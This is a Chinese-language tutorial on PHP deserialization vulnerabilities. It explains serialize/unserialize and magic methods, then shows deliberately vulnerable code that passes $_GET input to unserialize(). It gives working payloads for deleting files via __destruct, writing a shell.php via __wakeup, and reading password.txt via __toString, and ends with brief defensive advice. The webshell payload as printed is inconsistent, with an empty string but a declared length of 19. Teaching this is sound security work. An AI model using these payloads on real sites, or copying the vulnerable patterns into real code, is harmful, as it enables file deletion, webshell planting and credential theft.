一文带你搞懂反序列化漏洞,从零基础到精通
一文带你搞懂反序列化漏洞,从零基础到精通
反序列化漏洞是PHP开发中常见的安全问题之一,它允许攻击者通过修改序列化字符串来执行恶意代码。本文将从序列化和反序列化的基础概念出发,详细讲解其工作原理、常见漏洞利用方式以及防御方法,帮助开发者全面理解这一重要安全议题。
一、序列化和反序列化:变形金刚的打包与组装
想象一下,你要把一个复杂的变形金刚玩具(对象)打包邮寄给远方的朋友,序列化就是把变形金刚变成一堆零件,装进一个盒子里(字符串),方便运输和存储。而反序列化呢,就是你朋友收到盒子后,把零件重新组装成变形金刚的过程(对象)。
在PHP世界里,serialize()
函数负责“打包”,unserialize()
函数负责“组装”。
二、反序列化漏洞:变形金刚里的“炸药”
正常情况下,组装变形金刚没啥问题。但如果黑客在零件里偷偷塞了点炸药,你朋友一组装,“砰”的一声,电脑就炸了!这就是反序列化漏洞。
当PHP程序进行反序列化时,会“自动”调用一些“特殊技能”(魔术方法),比如__wakeup()
、__destruct()
等。如果黑客能控制传入unserialize()
的字符串,就能让这些“特殊技能”执行恶意代码,搞破坏!
简单来说,反序列化漏洞就是黑客通过修改序列化字符串,控制程序反序列化的过程,从而执行恶意代码。
三、serialize():对象变字符串的魔法棒
在PHP中,当你创建了一个对象后,serialize()
就像一根魔法棒,能把这个对象变成一串字符串,方便你保存对象的状态,或者通过网络传递。
让我们看个例子:
<?php
class Stu{
public $name = 'aa';
public $age = 18;
public function demo(){
echo "你好啊";
}
}
$stu = new Stu();
echo "<pre>";
print_r($stu);
//进行序列化
$stus = serialize($stu);
print_r($stus);
?>
运行结果会告诉你,你的Stu
对象被变成了一串神秘的字符串。
四、unserialize():字符串变对象的时光机
unserialize()
是serialize()
的逆向操作,它能把一串序列化后的字符串“复原”成原来的对象。
看代码:
<?php
//定义一个Stu类
class Stu
{
//定义成员属性
public $name = 'aa';
public $age = 19;
//定义成员方法
public function demo()
{
echo '你吃了吗';
}
}
//实例化对象
$stu = new Stu();
//进行序列化
$stus = serialize($stu);
print_r($stus);
echo "<br><pre>";
//进行反序列化
print_r(unserialize($stus));
?>
运行结果会告诉你,字符串又变回了活生生的Stu
对象。
五、PHP魔术方法:自带BGM的隐藏技能
魔术方法是PHP面向对象编程的精髓之一,它们就像隐藏在类中的“彩蛋”,在特定时刻自动触发,自带BGM!利用魔术方法,可以轻松实现PHP面向对象中的一些高级特性。反序列化漏洞的利用,往往就和这些魔术方法脱不了干系。
六、常见的魔术方法
__construct()
:构造函数,对象出生时(创建时)自动调用,相当于对象的“欢迎仪式”。__destruct()
:析构函数,对象去世时(销毁时)自动调用,相当于对象的“追悼会”。__wakeup()
:唤醒函数,在unserialize()
时,如果类里有这个函数,就会优先执行它,相当于对象的“起床闹钟”。__toString()
:字符串化函数,当对象被当成字符串使用时(比如echo $obj
),就会调用它,相当于对象的“自我介绍”。__sleep()
:睡眠函数,当对象被序列化时调用,可以用来指定哪些属性需要被保存,相当于对象的“睡前整理”。
七、魔术方法的实战演示
来,上代码!
<?php
class Stu
{
public $name = 'aa';
public $age = 18;
function __construct()
{
echo '对象被创建了__consrtuct()';
}
function __wakeup()
{
echo '执行了反序列化__wakeup()';
}
function __toString()
{
echo '对象被当做字符串输出__toString';
return 'asdsadsad';
}
function __sleep()
{
echo '执行了序列化__sleep';
return array('name','age');
}
function __destruct()
{
echo '对象被销毁了__destruct()';
}
}
$stu = new Stu();
echo "<pre>";
//序列化
$stu_ser = serialize($stu);
print_r($stu_ser);
//当成字符串输出
echo "$stu";
//反序列化
$stu_unser = unserialize($stu_ser);
print_r($stu_unser);
?>
运行这段代码,你会看到各种魔术方法“显灵”,是不是很神奇?
八、反序列化漏洞的实战演练
由于unserialize()
会“自动”调用__wakeup()
、__destruct()
等函数,如果这些函数里藏着漏洞或者恶意代码,黑客就能通过控制序列化字符串来触发它们,从而达到攻击目的。
1. __destruct()
:文件删除的“定时炸弹”
假设一个网站的logfile.php
文件使用了unserialize()
进行反序列化,并且反序列化的值是用户可控的。
logfile.php 代码:
<?php
class LogFile
{
//日志文件名
public $filename = 'error.log';
//存储日志文件
function LogData($text)
{
//输出需要存储的内容
echo 'log some data:'.$text.'<br>';
file_put_contents($this->filename, $text,FILE_APPEND);
}
//删除日志文件
function __destruct()
{
//输出删除的文件
echo '析构函数__destruct 删除新建文件'.$this->filename;
//绝对路径删除文件
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
?>
正常页面代码:
<?php
header("content-type:text/html;charset=utf-8");
//引用了logfile.php文件
include './logfile.php';
//定义一个类
class Stu
{
public $name = 'aa';
public $age = 19;
function StuData()
{
echo '姓名:'.$this->name.'<br>';
echo '年龄:'.$this->age;
}
}
//实例化对象
$stu = new Stu();
//重构用户输入的数据
$newstu = unserialize($_GET['stu']);
//O:3:"Stu":2:{s:4:"name";s:25:"<script>alert(1)</script>";s:3:"age";i:120;}
echo "<pre>";
var_dump($newstu) ;
?>
如果黑客构造一个LogFile
对象,并把filename
属性指向一个重要的文件,那么当LogFile
对象被销毁时,__destruct()
函数就会被调用,导致该文件被删除!
- 正常重构:
O:7:"LogFile":1:{s:8:"filename";s:9:"error.log";}
(删除error.log) - 异常重构:
O:7:"LogFile":1:{s:8:"filename";s:10:"../ljh.php";}
(删除ljh.php,是不是有点刺激?)
2. __wakeup()
:一句话木马的“传送门”
如果__wakeup()
函数里包含文件写入操作,黑客就能通过修改序列化字符串,写入任意内容到服务器,甚至可以直接写入一句话木马!
示例代码:
<?php
class chybeta
{
public $test = '123';
function __wakeup()
{
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class = @$_GET['test'];
print_r($class);
echo "</br>";
$class_unser = unserialize($class);
// 为显示效果,把这个shell.php包含进来
require "shell.php";
?>
攻击payload:
?test=O:7:"chybeta":1:{s:4:"test";s:19:"";}
这段代码会在服务器上创建一个shell.php
文件,内容是<?php phpinfo(); ?>
,黑客可以通过访问这个文件获取服务器信息。
3. __toString()
:文件读取的“任意门”
如果__toString()
函数里包含文件读取操作,黑客就能通过触发__toString()
函数,读取服务器上的任意文件!
fileread.php代码:
<?php
//读取文件类
class FileRead
{
public $filename = 'error.log';
function __toString()
{
return file_get_contents($this->filename);
}
}
?>
正常页面代码:
<?php
//引用fileread.php文件
include './fileread.php';
//定义用户类
class User
{
public $name = 'aa';
public $age = 18;
function __toString()
{
return '姓名:'.$this->name.';'.'年龄:'.$this->age;
}
}
//O:4:"User":2:{s:4:"name";s:2:"aa";s:3:"age";i:18;}
//反序列化
$obj = unserialize($_GET['user']);
//当成字符串输出触发toString
echo $obj;
?>
攻击payload:
?user=O:8:"FileRead":1:{s:8:"filename";s:12:"password.txt";}
这段代码会读取服务器上的password.txt
文件,并输出其内容。
九、反序列化漏洞的防御:保卫你的数据安全
和大多数漏洞一样,反序列化漏洞也是由于用户参数的控制问题引起的。所以,最好的防御措施就是:
- 永远不要相信用户的输入!不要把用户的输入或者用户可控的参数直接放进反序列化的操作中。
- 在进入反序列化函数之前,对参数进行严格的过滤和限制。
记住,安全第一,预防为主!